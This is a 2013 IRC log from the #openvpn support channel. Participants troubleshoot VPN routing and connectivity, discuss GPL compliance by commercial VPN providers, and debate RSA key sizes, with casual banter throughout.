11:57 <+pekster> excalibr: That'll mostly 'just work' for you, although UDP gets weird since the OS may incorrectly pick a source address before it gets to the `ip rule` lookup; the only real way "around" that is to use netfilter ctmark or such so the reply can get flagged, clone the ctmark to the per-packet nfmark, and reference that. IIRC that gets hit on the route re-check, but it's been a while since I tried that setup
11:58 <+pekster> (since ip rule can use the nfmark, but not the ctmark)
11:58 <+pekster> tomreyn: Right, or a reference to upstream sources if it's a stock build
12:02 < tomreyn> Now there are probably a bunch of commercial VPN providers who redistribute custom or stock (I assume this term refers to builds generated by OpenVPN Technologies, Inc.) builds of OpenVPN, while not mentioning the GPL or providing access to source code. would you consider that a GPL infringement then?
12:02 <@plaisthos> tomreyn: that is a GPL infringment yes
12:02 < tomreyn> And how much did OpenVPN Technologies, Inc. and others care about such in the past?
12:03 <@plaisthos> Some ANdroid apps did manage to even violate the BSD license
12:03 < tomreyn> how?
12:03 <@plaisthos> OpenVPN for Android GUI stuff was bsd licsend
12:04 <@plaisthos> but they did not even mentioning use of that
12:04 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
12:04 < tomreyn> hehe, silly.
12:04 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Read error: Operation timed out]
12:04 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:04 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Quit: ZNC - http://znc.in]
12:05 < tomreyn> Anyways, thanks for your help. I'll try to make the VPN provider i was thinking of fix their stuff before i "rat them out".
12:05 <+pekster> These-days it's not even hard to comply with the license; often the full text of the GPLv2 (available from fsf.org) is included, but with Internet access being so ubiquious, really a URL reference to the license and a link to the source code is all that's required. Now if the project links against the openvpn codebase for its own dll's, that's a different issue since they'd need to provide you with their own sources and build scripts ...
12:06 <+pekster> ... so you can "build it yourself" if you choose
12:06 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
12:06 <+pekster> If there's no direct linking of code involved, it's possible to ship non-free code with GPL code, but it still requires a GPL notice and link to sources for the GPL stuff, and it can't be privately modified without exposing those modifications
12:07 < workingcats> pekster, technically, even with a stock build, i dont think the link to upstream is sufficient ;)
12:07 < tomreyn> the one i'm looking at distributes this: libeay32.dll  liblzo2-2.dll  libpkcs11-helper-1.dll  Microsoft.VC90.CRT.manifest  msvcr90.dll  openssl.exe  openssl.txt  openvpn.exe  ssleay32.dll  tap-windows.exe
12:08 < tomreyn> openssl.txt is just the .cnf config file for creating certificates / keys
12:08 < workingcats> but practically you're ofc right, and i can't imagine anyone suing in such circumstances
12:08 < tomreyn> liblzo2 is also GPL
12:08 <+pekster> Right, but it's not about what is distributed; it's about being able to build it yourself. It's impossible to say what sources were used to build it
12:10 <+pekster> workingcats: IANAL, but GPLv2 section 1 says that you may "distributed verbatim copies of [..] source code [..] in any medium [..] and give [recipients] a copy of this License along with the Program"
12:10 < workingcats> IANAL either
12:10 < workingcats> in any case i think it'd be tough to find someone who finds a (working) link to upstream sources objectionable
12:12 -!- jzaw [~jzaw@2001:8b0:7:0:5054:ff:fe8e:3b24] has joined #openvpn
12:12 <+pekster> Ah, or see section 3(c)
12:15 -!- workingcats [~workingca@85.232.30.129] has quit [Quit: Verlassend]
12:17 -!- ade_b [~Ade@h31-3-227-203.host.redstation.co.uk] has joined #openvpn
12:17 -!- ade_b [~Ade@h31-3-227-203.host.redstation.co.uk] has quit [Changing host]
12:17 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:35 -!- nutron|w [~nutron@24.67.96.21] has joined #openvpn
12:35 -!- nutron|w [~nutron@24.67.96.21] has quit [Read error: Connection reset by peer]
12:39 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
12:42 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 276 seconds]
12:42 <@ecrist> FreeBSD goes to great lenghts to remove ALL GPLd code from the OS, and doesn't even include anything GPLd in the base release.
12:42 <@ecrist> if someone chooses to install GPLd software after install, it's not the dev's problem.
12:44 <+pekster> The benefit most build-from-source distros have is that licensing is a non-issue beyond whatever the core system bootstrap release ships with
12:44 <+pekster> (from a development view; licensing is very much the user's responsibility, in case that was at all unclear)
12:44 -!- JackWinter [~jack@vodsl-10021.vo.lu] has left #openvpn ["Konversation terminated!"]
12:47 < hairypotter> I'm trying to use the following http://www.servermom.com/how-to-build-openvpn-server-on-centos-6-x/732/ (step 8) and i'm getting the following error http://pastebin.ca/2422970
12:47 <@vpnHelper> Title: How to Build OpenVPN Server on CentOS 6.x (Install, Setup, Config) (at www.servermom.com)
12:48 < hairypotter> i have downloaded easy-rsa
12:48 <@krzee> !walkthrough
12:48 <@vpnHelper> "walkthrough" is if you are using some walkthrough and now you are here cause you have problems and dont understand your setup, type !howto and !man and try to actually learn what you're doing. most those docs about openvpn from google SUCK.
12:48 <@krzee> !howto
12:48 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
12:49 < hairypotter> i am blind to comments insulting my general intelligence and presuming that I haven't already been to the main sources
12:49 < hairypotter> so..
12:49 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
12:50 -!- mode/#openvpn [+b *!*@Hairypotte@90.200.193.145] by krzee
12:50 -!- hairypotter was kicked from #openvpn by krzee [good luck]
12:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:58 <@ecrist> heh
12:58 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
13:05 < ljvb> *sigh* cannot for the life of me fix my stupid openvpn/android routing problems..
13:08 -!- hg_5_away_ [~chatzilla@91.234.245.245] has quit [Read error: Connection reset by peer]
13:10 -!- hg_5_away [~chatzilla@91.234.245.245] has joined #openvpn
13:10 < ljvb> routing between all subnets appears to be fine.. except when I try to route from my phone (via mobile hotspot
13:11 -!- hg_5_away [~chatzilla@91.234.245.245] has quit [Read error: Connection reset by peer]
13:11 < ljvb> getting bad source address from my telco provider IP.. openvpn should not care about that.
13:12 <+pekster> OpenVPN cares very much if you attempting to source an address OpenVPN doesn't think you should have
13:12 -!- hg_5_away [~chatzilla@91.234.245.245] has joined #openvpn
13:12 <+pekster> you're*
13:12 < ljvb> I'm not.. which makes me wonder what the phone is doing in the background...
13:13 <+pekster> Best to look at the traffic being generated and figure out what application is responsible for doing it
13:13 < ljvb> they come in batches of 5 every few min
13:13 <+pekster> Just like your ISP will drop your packets if you arbitrarily set your IP to something naughty, OpenVPN's internal basic filter does the same thing
13:14 < ljvb> either way, phone connects to openvpn just fine, pings all 3 other client networks just fine, routes to the internet just fine.. I have my phones private address space configured within server.conf as well as the ccd file.. yet I cannot get my laptop to pass teh stupid phone. can ping/ssh to phone, but not past it
13:15 < ljvb> pf is configured to nat
13:15 < ljvb> everything should work...
13:15 <@ecrist> IP collision with mobile provider address space?
13:15  * ljvb hates buying new phones and having to go through this all over again
13:29 -!- jzaw [~jzaw@2001:8b0:7:0:5054:ff:fe8e:3b24] has quit [Read error: Operation timed out]
13:33 -!- hg_5_away [~chatzilla@91.234.245.245] has quit [Ping timeout: 264 seconds]
13:36 -!- nextrevision [~John@212.83.63.101] has joined #openvpn
13:36 -!- nextrevision [~John@212.83.63.101] has left #openvpn []
13:37 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
13:39 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
13:39 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
13:44 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
13:45 -!- hg_5_away [~chatzilla@91.234.245.245] has joined #openvpn
13:45 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
13:48 < ljvb> meh.. home time.. will play later
13:56 -!- YamakasY_ [~yamakasY@62.58.32.94] has joined #openvpn
13:56 -!- YamakasY [~yamakasY@62.58.32.94] has quit [Ping timeout: 240 seconds]
--- Log closed Tue Jul 09 14:11:16 2013
--- Log opened Tue Jul 09 14:17:47 2013
14:17 -!- ecrist [~ecrist@token-black.secure-computing.net] has joined #openvpn
14:17 -!- Irssi: #openvpn: Total of 186 nicks [7 ops, 0 halfops, 2 voices, 177 normal]
14:17 -!- mode/#openvpn [+o ecrist] by ChanServ
14:18 -!- Irssi: Join to #openvpn was synced in 28 secs
14:23 -!- kubbing [~kubbing@ip-89-177-146-218.net.upcbroadband.cz] has quit [Remote host closed the connection]
14:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
14:38 -!- Guest82317 [~quassel@corkblock.jefferai.org] has left #openvpn []
14:38 -!- jefferai [~quassel@corkblock.jefferai.org] has joined #openvpn
14:38 -!- jefferai is now known as Guest55882
14:40 -!- Guest55882 [~quassel@corkblock.jefferai.org] has quit [Quit: http://quassel-irc.org - Chat comfortably. Anywhere.]
14:58 -!- liriel_ [~liriel@aphrodite.feralhosting.com] has joined #openvpn
15:01 -!- Netsplit *.net <-> *.split quits: WinstonSmith, KiNgMaR, Olipro, @raidz, liriel, ScriptFanix
15:01 -!- liriel_ is now known as liriel
15:02 -!- dazo is now known as dazo_afk
15:03 -!- Netsplit over, joins: Olipro
15:05 -!- ferai [~quassel@kde/mitchell] has joined #openvpn
15:06 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
15:06 -!- ScriptFanix [~vincent@Hanaman.riquer.fr] has joined #openvpn
15:06 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
15:06 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
15:06 -!- ServerMode/#openvpn [+o raidz] by adams.freenode.net
15:08 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
15:08 -!- xBytez [~xbytez@212.83.63.23] has quit [Changing host]
15:08 -!- xBytez [~xbytez@unaffiliated/xbytez] has joined #openvpn
15:10 -!- ferai is now known as jefferai
15:13 -!- midacts1 [~john@207.59.77.254] has joined #openvpn
15:14 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
15:14 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
15:15 -!- mattock is now known as mattock_afk
15:16 -!- raidz_ [~raidz@raidz.im] has joined #openvpn
15:23 -!- Netsplit *.net <-> *.split quits: KiNgMaR, ScriptFanix, WinstonSmith, @raidz
15:23 -!- raidz_ is now known as raidz
15:23 -!- raidz [~raidz@raidz.im] has quit [Changing host]
15:23 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
15:23 -!- mode/#openvpn [+o raidz] by ChanServ
15:24 -!- Netsplit over, joins: WinstonSmith, ScriptFanix, KiNgMaR
15:29 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
15:35 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:36 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
15:38 -!- Netsplit *.net <-> *.split quits: ScriptFanix, WinstonSmith, KiNgMaR
15:38 -!- WinstonSmith_ [~WinstonSm@a81-84-205-35.cpe.netcabo.pt] has joined #openvpn
15:41 -!- Netsplit over, joins: ScriptFanix, KiNgMaR
15:42 -!- confusered [~private@unaffiliated/confusered] has joined #openvpn
15:46 < confusered> osx tunnelblick.  power failure.  now no browsing on wan by ip or dns.  dns appears to resolve wan as can ping google.com etc.  browser works on lan tested with router config page at 192.168.x.x.
15:47 < confusered> checked hosts,  checked routes, looks fine to me.  not sure what else to check.
15:48 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
15:48 < confusered> can not browse wan by ip either (safari)  dns appears fine.
15:54 < confusered> with linux i just use custom iptables for routing  wan restricting lan and then flush tables if i have an issue on vpn disconnect,  always works fine.  not sure how it worked/s  with osx and tunnelblick.
15:55 <+pekster> With such a poor description of what your goal is or your setup I'm not sure what you expect
15:55 <+pekster> !goal
15:55 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
15:56 < confusered> my goal is to restore networking first.
15:56 < EugeneKay> I want a sammich.
15:57 <+pekster> "restore networking" -- no clue what that means
15:57 < confusered> no browsing on wan by ip or dns.
15:58 < confusered> my wan access is now non functional.
15:58 <+pekster> OpenVPN doesn't work without functional Internet. I suggest you go fix that
15:58 < EugeneKay> It sounds like you're fucking about with redirect-gateway
15:59 < EugeneKay> My guess is you're not using the def1 flag, and the house of cards came tumbling down when the vpn hiccuped
16:00 < confusered> sounds about right.  looking into redirect-gateway
16:01 -!- JesseCW [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit []
16:01 < confusered> nice info thanks EugeneKay
16:01 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
16:09 < EugeneKay> Right, sammich time.
16:15 < kisom> The bitterness. Love it.
16:17 -!- darkapp [~app@unaffiliated/darkapp] has quit [Quit: Leaving]
16:20 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
16:21 -!- tgarneau [~tgarneau@c-24-63-246-148.hsd1.ma.comcast.net] has joined #openvpn
16:25 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
16:36 -!- max_ [~max@mec2036d0.tmodns.net] has joined #openvpn
16:37 < tgarneau> Is there anyone around to help me with my configuration?
16:40 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
16:41 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
16:42 < tgarneau> I set up openvpn on a windows 2003 server a week ago using the sample configs for client and server (only changed server address and cert names/directories). It worked great but now it isn't working. My clients can connect but I don't get a response from the server when pinging it. I can see the packets recieve count on the tap adapter increasing with the pings but packets sent stays at 0
16:43 < tgarneau> Any ideas or hints on what I should be looking at?
16:45 <+pekster> Firewall, unless the peers disconnect after a keepalive failure (assuming you're using keepalives)
16:46 -!- hg_5_away [~chatzilla@91.234.245.245] has quit [Remote host closed the connection]
16:50 < tgarneau> Sorry. I should have mentioned that the firewall on the server is currently disabled and that its behind a router using nat
16:50 < tgarneau> port forwarding is set to forward 1194 to the serv's static IP
16:52 <+pekster> Doesn't matter; if the clients can connect (they successfully negotiate the initial connectivity and obtain addressing from the server) then OpenVPN is doing its job and anything that goes into the tun adapter on one end will be delivered to the other, provided a firewall or router doesn't drop it along the way
16:53 <+pekster> In theory it could be a routing issue too I suppose, although that would suggest you have conflicting networks (otherwise your server shouldn't have a problem routing the reply back to the client
16:54 < tgarneau> Yeah. I figured as much. I can't see why it would have just stopped working.
16:55 < tgarneau> The two networks were using the same IP scheme on both sides although I have changed that after looking into this problem
16:55 < tgarneau> Thanks for your help btw
16:59 < tgarneau> if there were routing issue, would it resolve itself once I change the ip schemes and restarted the service?
17:00 < tgarneau> rather, should it resolve itself?
17:00 < tgarneau> because it hasn't.
17:06 -!- HelloOpenVPN [~prime@HSI-KBW-078-042-129-158.hsi3.kabel-badenwuerttemberg.de] has joined #openvpn
17:06 < HelloOpenVPN> hey guys
17:08 < HelloOpenVPN> I have this problem: https://forums.openvpn.net/topic/13317.html
17:12 -!- max_ [~max@mec2036d0.tmodns.net] has quit [Read error: Connection reset by peer]
17:12 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
17:13 < EugeneKay> A 404 page is a pretty serious problem.
17:13 < HelloOpenVPN> hmpf wait
17:14 < EugeneKay> Not that I'll read it anyway, because forums are garbage.
17:14 < HelloOpenVPN> you need a openvpn forum account
17:14 < EugeneKay> Like I said.
17:14 < HelloOpenVPN> logged in
17:14 < HelloOpenVPN> ok, then I paste everything on pastebin ok?
17:15 < EugeneKay> !goal
17:15 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
17:15 < EugeneKay> !configs
17:15 < EugeneKay> !logs
17:15 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
17:15 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
17:15 < EugeneKay> !paste
17:15 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
17:15 < HelloOpenVPN> yeeeeeees
17:15 < EugeneKay> ;-)
17:15 < HelloOpenVPN> wait and bleed ^^
17:15 < EugeneKay> Oh, and pick a less crappy username
17:15 < tharkun> EugeneKay: Aloha switching from preshared key to certificates. Is there a length you would recomend for the rsa key?
17:15 < HelloOpenVPN> no
17:15 < HelloOpenVPN> :)
17:15 < EugeneKay> tharkun - 4096 or gtfo
17:15 < tharkun> EugeneKay: agreed
17:16 < EugeneKay> 16384 would be better, but it isn't exactly supported.
17:16 < tharkun> 8192?
17:16 -!- Synthead [~max@mec2036d0.tmodns.net] has joined #openvpn
17:17 < EugeneKay> Moarplusdoublebetter
17:18 <+pekster> 2048 is considered sufficient by today's standards
17:18 < HelloOpenVPN> lol really?
17:18 < EugeneKay> It's not today's standards I'm worried about
17:18 <+pekster> 1024 is too low; use values >2048 to suit your level of excess paranoia
17:18 < EugeneKay> It's tomorrow's
17:18 < EugeneKay> And next week's
17:18 <+pekster> 2048 is "good enough for now into the forseeable future" -- if that changes, I'll roll over relevant PKI into higher standards
17:19 <+pekster> It's an exponential scale, not linear; I see no need to use 4096 for most things
17:19 < EugeneKay> Good Enough is not good enough.
17:19 < HelloOpenVPN> ok, when I get this right I can also talk with you about those things, but here is my problem: pastebin.com/4tfjdbssH
17:20 < EugeneKay> Besides, the NSA has a backdoor into RSA anyway(prove that they don't).
17:20 < kisom> PKI is by itself not good enough for the future ;)
17:20 < EugeneKay> Unknown Paste ID
17:20 < HelloOpenVPN> GRML
17:20 < HelloOpenVPN> wait
17:20 < EugeneKay> See, this is why we point to Gist
17:21 < HelloOpenVPN> here: pastebin.com/4fjdbssH :)
17:22 -!- master_of_master [~master_of@p4FF2401A.dip0.t-ipconnect.de] has joined #openvpn
17:22 <+pekster> Mmm, DNS loading dozens of ad domains
17:23 < HelloOpenVPN> use adblock or something
17:23 < HelloOpenVPN> with your favourite browser(firefox) :)
17:24 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
17:24 <+pekster> Try a non-ad-infested pastebin site next time. And the advice to remove the comments and blanksk from your config files
17:24 <+pekster> blanks*
17:24 < EugeneKay> And the advice on a less terrible username
17:24 < EugeneKay> And actualyl find all the logs
17:24 < HelloOpenVPN> ok :) I keep that in mind
17:24 < EugeneKay> Or don't, I don't really care. I have drinking to do.
17:24 <+pekster> Start by making it work between two computers so you can verify the setup works
17:24 < HelloOpenVPN> -.-
17:24 < HelloOpenVPN> I have only one computer
17:25 < HelloOpenVPN> :)
17:25 < EugeneKay> Go rent a VPS
17:25 < HelloOpenVPN> no
17:25 <+pekster> Phones are an awful platform to debug on because it's not giving you the same error vebosity you need "TLS hanshake failed" isn't very useful
17:25 < EugeneKay> Guess you're boned then.
17:25 < HelloOpenVPN> I just want it to work over my freaking phone
17:25 <+pekster> You need to know why the handshake failed
17:25 -!- master_o1_master [~master_of@p4FF24C8E.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
17:25 <+pekster> I can't help with "some arbitrary part of the security process didn't work"
17:26 <+pekster> Sounds like "something is broken"
17:26 < HelloOpenVPN> I can't even ping the server IP with my phone
17:26 < EugeneKay> Sounds like a personal problem
17:26 <+pekster> That's about as useful as "some errors and weird things" can do for you
17:26 < HelloOpenVPN> personal? lol
17:26 < HelloOpenVPN> hhm
17:26 <+pekster> !logfile
17:26 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
17:27 < HelloOpenVPN> yes but what about the openvpn android app?
17:27 < HelloOpenVPN> Can I use it with a terminal emulator??
17:27 < HelloOpenVPN> and then somehow get the log?
17:27 < HelloOpenVPN> ok wait
17:27 < HelloOpenVPN> I figure that out for myself
17:28 < HelloOpenVPN> :)
17:28 <+pekster> You could follow the bot's advice and use the "log" option
17:28 <+pekster> !man
17:28 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
17:31 <+pekster> You also have a logical mistake if you're using 10.8.0/24 as your VPN range and attempting to connect to that IP as a --remote config statement
17:31 <+pekster> --remote is the IP or DNS name of where you're connecting to
17:32 <+pekster> Naturally you can't connect to an IP that you reach after connecting to the VPN (chicken <--> egg)
17:33 < HelloOpenVPN> hhm ok maybe I first try it with an easier to set up program to see if everythin can work at all
17:33 < HelloOpenVPN> some point and click gui program
17:33 <+pekster> How do you expect to magically "reach" 10.8.0.1 from your phone?
17:34 < HelloOpenVPN> hhm
17:34 <+pekster> You either 1) screwed up your --remote line, or 2) are in fact trying to reach a VPN hosed on a private, non-globally-routable RFC1918 LAN, in which case you can't overlap your VPN network with your physical one
17:35 < HelloOpenVPN> ok then I should put up a domain with a ip reachable over the internet?
17:35 < HelloOpenVPN> an*
17:36 <+pekster> Is that how you're reaching your server?
17:36 <+pekster> Presuambly you'd know this ahead of time
17:36 < HelloOpenVPN> no
17:37 <+pekster> How is this part complicated? If I want to reach "google.com" I type in "google.com", not http://10.8.0.1 into my web browser.
17:38 < HelloOpenVPN> yes, what do you mean??
17:38 < HelloOpenVPN> 10.8.0.1 is not the ip of the google webserver
17:38 <+pekster> "The  OpenVPN  client will try to connect to a server at host:port in the order specified by the list of --remote options." -- The OpenVPN manpage you were referenced
17:39 <+pekster> So, let's try this again: where is your server hosted relative to your client? How do you intend to reach it over the client's native network connection?
17:40 <+pekster> The !howto covers this part pretty clearly as well (search for the "Editing the client configuration files" section if you're really that lost
17:40 < HelloOpenVPN> ok, I don't have a host, it just runs on my laptop. Can't I connect to it within my network?
17:41 <+pekster> Sure, but what's the point? You want to connect to your LAN so you can redirect your Internet traffic through the laptop, so it can go to your RFC1918 LAN's gateway? What on earth is the point of that?
17:41 <+pekster> (you also can't have duplicate networks, so your --remote line is *still* wrong even if you wanted to do something that silly)
17:43 < HelloOpenVPN> ok wait, I though I connect my phone to my network, the everything goes though my laptopts server and then to the internet
17:43 < HelloOpenVPN> and that doesn't work?
17:44 <+pekster> It *could* work, but it would be super-pointless
17:44 < HelloOpenVPN> why?
17:44 <+pekster> Becuase your laptop is just sending it to the LAN's default gateway anyway
17:44 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 264 seconds]
17:44 < HelloOpenVPN> but the traffic and all is still encrypted?
17:44 < HelloOpenVPN> or what does happen there?
17:45 < kisom> pekster: Why do you continue? :) Got nothing better to do?
17:45 <+pekster> OpenVPN isn't doing what you think it's doing
17:45 < EugeneKay> !beer
17:45 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
17:45 < HelloOpenVPN> sry no dinner time
17:45 <+pekster> kisom: Waiting for a burn to finish, so until then, no. First burn failed for some unkown reason (hopin it's media, not the drive :(...
17:46 < kisom> People still use optical media?
17:46 < kisom> Whoa
17:46 <+pekster> HelloOpenVPN: No, OpenVPN doesn't "magically encrypt your traffic for ever and ever into infinity", no
17:46 <+pekster> The traffic will be completely and 100% unencrypted as soon as the gateway gets it and sends it out to the Big Bad Internet
17:47 < HelloOpenVPN> it's ok, I will do some reading to understand this fully ok? And if I have problems then, I'll come back
17:47 <+pekster> !basic
17:47 <@vpnHelper> "basic" is if you do not understand basic networking, you probably should not be administrating a vpn... you should understand the basics of routing / firewalls first
17:48  * pekster stabs wodim. It must have drank EugeneKay's beer
17:49 < HelloOpenVPN> ok thx for patience and help. Have a nice day. Cu
17:49 -!- HelloOpenVPN [~prime@HSI-KBW-078-042-129-158.hsi3.kabel-badenwuerttemberg.de] has quit [Quit: leaving]
17:49 < EugeneKay> My beer! Mine!
17:49 < EugeneKay> Don't take my precious!
17:53 -!- Denial [Denial@90.202.26.221] has quit []
17:57 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
18:10 < tgarneau> pekster, I deleted "incoming connections" from internet connections and the vpn started passing traffic again.
18:10 < tgarneau> No idea how it got there
18:11 < kisom> Wtf, "incoming connections"?
18:11 < tgarneau> Yeah, first I've ever seen it.
18:12 < tgarneau> This is what Microsoft has to say about it: http://technet.microsoft.com/en-us/library/cc782348(v=ws.10).aspx
18:13 < kisom> OK, sounds like some sort of microsoft VPN
18:13 -!- NChief [~nchief@unaffiliated/nchief] has quit [Ping timeout: 248 seconds]
18:13 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-itajwbxqrgqbydif] has quit [Ping timeout: 248 seconds]
18:14 < tgarneau> Yeah. I need to lock this server down a little tighter.
18:14 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-uwsbidjneplljcye] has joined #openvpn
18:14 < tgarneau> Thanks again for the help
18:14 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:14 -!- NChief [~nchief@unaffiliated/nchief] has joined #openvpn
18:27 < jzaw> !ping
18:27 <@vpnHelper> pong
18:30 -!- Synthead [~max@mec2036d0.tmodns.net] has quit [Quit: p33 ba115]
18:42 -!- brad [~brad@78.129.242.122] has quit [Remote host closed the connection]
18:42 -!- brad [~brad@78.129.242.122] has joined #openvpn
18:44 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Read error: Operation timed out]
18:45 -!- pcdummy [~quassel@mx1.page4me.ch] has joined #openvpn
18:45 -!- pcdummy [~quassel@mx1.page4me.ch] has quit [Changing host]
18:45 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
18:46 -!- n4mu [~n4mu@fsf/member/n4mu] has quit [Read error: Operation timed out]
18:46 -!- n4mu [~n4mu@kuna.manurevah.com] has joined #openvpn
18:46 -!- n4mu [~n4mu@kuna.manurevah.com] has quit [Changing host]
18:46 -!- n4mu [~n4mu@fsf/member/n4mu] has joined #openvpn
19:46 -!- ScriptFanix [~vincent@Hanaman.riquer.fr] has quit [Quit: WeeChat 0.3.8]
19:49 -!- ScriptFanix [~vincent@Hanaman.riquer.fr] has joined #openvpn
19:59 -!- tomreyn [~tomreyn@megaglest/team/tomreyn] has quit [Quit: tomreyn]
20:17 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
20:18 -!- tharkun [~0@187.188.166.5] has joined #openvpn
20:29 -!- dahankzter [~quassel@37-247-8-75.customers.ownit.se] has quit [Ping timeout: 264 seconds]
20:31 -!- dahankzter [~quassel@37-247-8-75.customers.ownit.se] has joined #openvpn
20:35 < ljvb> evenin
20:42 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
20:45 -!- tgarneau [~tgarneau@c-24-63-246-148.hsd1.ma.comcast.net] has quit [Quit: Leaving]
20:47 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
21:14 < ljvb> ugg.. rekeying everything cos I forgot my CA password.. go figure
21:51 < EugeneKay> Don't do that
21:53 <@ecrist> boats and hos, yo
21:53 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:53 <@ecrist> ljvb: quit fucking doing that
21:53 <@ecrist> EugeneKay: you missed it
21:54 < EugeneKay> Were there boats and/or hos?
21:54 <@ecrist> he came in the other day and said he was sick of ssl-admin, and wanted a different CA management tool
21:54 <@ecrist> I asked what was wrong with ssl-admin, and he said, "I keep forgetting my CA password"
21:54 <@ecrist> EugeneKay: there were both.  there is always both
21:54 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:54 <@ecrist> one begets the other
21:55 < EugeneKay> Troubling.
21:56 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
21:56 < ljvb> heh
21:56 < EugeneKay> !xca
21:56 <@vpnHelper> "xca" is (#1) XCA is a GUI to create/manage a PKI, much more user-friendly than easy-rsa. or (#2) Example XCA PKI for OpenVPN(writeup pending): https://community.openvpn.net/openvpn/wiki/XCA
21:56 < ljvb> no, there was a problem is openssl
21:56 < ljvb> not ssl-admin
21:56 < EugeneKay> My recommendation ^. Doesn't help with forgetting your password, but hey....
21:57 < ljvb> I did remember the password evetually for one of the CA's, but I had 2, one for my uk host and one for my us host.. I remember US, not the UK one, so I decided to just use 1 CA and rekey everything
21:57 <@ecrist> heh
21:58 < ljvb> the problem however was openssl, not sure why, probably an update that went screwy with freebsd-update.. first and last time I use it, I will stick with make *world for my updates
21:59 < EugeneKay> You do know that you can use the same CA to sign multiple server keys, right?
